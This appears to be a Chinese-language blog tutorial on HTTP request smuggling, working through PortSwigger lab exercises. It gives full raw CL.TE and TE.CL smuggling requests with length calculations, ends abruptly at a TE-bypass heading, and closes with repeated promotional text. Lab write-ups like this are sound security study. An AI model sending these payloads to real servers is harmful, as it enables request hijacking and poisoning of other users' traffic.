HTTP 请求走私漏洞

Keep-alive概念

为什么会这样的功能呢？

因为http是在tcp连接上运行的，存在三次握手，所以http也继承了tcp的特点，就是慢，消耗一定的资源。为了解决这一问题，就引用了长连接的概念，有效的解决了多次建立连接信息的情况。

主要是通过Keep-alive 头部实现，客户端使用Keep-alive在请求包中，是告诉服务器在发送完数据之前不断开tcp的连接。

那么传送完成，服务器是怎么判断的呢，如果无法判断那tcp连接一直连着不是更消耗资源？

Content-Length概念

CL实体标头字段发送给后端的实体的大小，通过判断CL的长度相等，服务器就会知道这个时候可以断开连接了，如果CL和实体的实际长度不一样会造成内容的截断。如果比实体的内容长，会为缺少的内容进行自动填充，看似完美了，但是服务器为了计算信息的内容，会将所有内容缓存下来，并没有解决web应用的优化

Transfer-Encoding: chunked 分块编码

为了解决web的优化，又引进了一个新的请求头Transfer-Encoding: chunked 也就是分块编码，加入请求头之后，报文会使用分块的形式进行传输内容，不需要再缓存所有实例的内容，只需要缓存分块即可，分块的要求，每块必须包含16进制的长度和数据，长度值独立占据一行，不包括CRLF(\r\n)，也不包括结尾的CRLF，当分块的长度为0，且没有数据了，连接结束。

漏洞成因

现在的很多网站为了提高用户的使用体验，访问速度加快，减少服务器的资源消耗。都会使用代理服务器，也就是CDN加速服务。其原理就是网站前面加入具有缓存功能的反向代理，每当用户请求网站时，网站的静态资源就可以在代理服务器中直接获取到，不会从网站中获取，反向代理和后端服务器之间，会重用TCP连接，因为不同的用户请求将通过代理服务器与后端服务器进行连接。不过由于二者实现的方法不同，如果用户提交了模糊的请求包，代理服务器可能就会认为是一个http请求，但是转发给后端服务器，后端服务器经过解析处理后，就只会认为其中一部分请求，剩下的另外一部分就是走私的请求。最终的原因其实就是http规范提供了两种不同方式来指定请求的结束位置，分别是Content-Length和Transfer-Encoding

PortSwigger实验

实验开始前注意，HTTP2是杜绝http走私攻击的，但是如果后端服务器支持http1.1，那我们就可以篡改前端服务器使用http/1.1

实验一 CL.TE漏洞

https://0a4800d903b3090d808e3a85002c0017.web-security-academy.net/

前端的服务器使用的是Content-Length，而后端服务器使用的是Transfer-Encoding

POST / HTTP/1.1
Host: 0a4800d903b3090d808e3a85002c0017.web-security-academy.net
Cookie: session=S5U1Z5rd0NTrLT16sf94eadKXYSfbcMl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

我们要注意一下Content-Length的长度

它是从0开始算，\r\n算两个字符，所以最终的大小为35，并且要注意的就是CL的长度数值只能小不能大，如果超过了35就无法走私了

我们看看造成的后果是什么，再发送一次请求

所以很明显了，CL.TE漏洞可以让用户访问到我们所控制的页面

GET /404 HTTP/1.1
X-Ignore: XPOST / HTTP/1.1
Host: xxxx.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

xxxx

过程解析：

前端服务器处理CLheader，确定了请求内容的长度为35字节，直到X-Ignore: X停止
该请求到后端服务器的时候，后端服务器处理TEheader，因此消息正文被视为分块编码，
但是我们并没有传入消息正文，所以它在处理第一个块的时候，因为声明为0长度，因此视为终止
了请求，以下的GET /404为被处理，后端服务器会将这些字节视为下一个请求的开始
注意0的位置下面必须要有CRLF，这是规范，不然就无法走私

实验二 TE.CL漏洞

https://0a0e008504a7485e8359aa09006100b7.web-security-academy.net/

此漏洞基于后端服务器不支持分块编码。前端服务器拒绝不使用GET或POST方法的请求

POST / HTTP/1.1
Host: 0afe0075047833e280ac9e1f00f5006c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

过程分析：

前端服务器处理了TEheader，因此下面的消息正文视为以分块编码。处理第一个块的时候，这个块的
长度为5c个字节，也就是从G开始到x=1\r\n结束，注意x=1上一行不算在内。处理第二个块的时候，
因为长度为0，所以终止请求。
来到后端服务器处理CLheader，确定了正文的长度为4个字节，也就是5c\r\n，下面的GPOST开始
往后的字节未处理，后端服务器就会将这些字节视为下一个请求的开始

我们需要注意的是，5c怎么得来的，其实也就是从GPOST开始到x=1\r\n结束，并且x=1的上一行不算进去长度，因为它是一个标识的意思，表示上面是header头，下面是消息的正文

还有就是走私的请求的CLheader的长度也需要注意，如果长度太小一定是走私不了的

这个范围的内容长度是10个字符，如果我们将CL设置为10，那就走私不了了，必须要加1，也就是11或者再往上大一点

实验三 TE过滤绕过

有的时候，前后端可能会对Transfer-Encoding进行过滤，那我们就需要去绕过它

最后

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！

0292)]

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！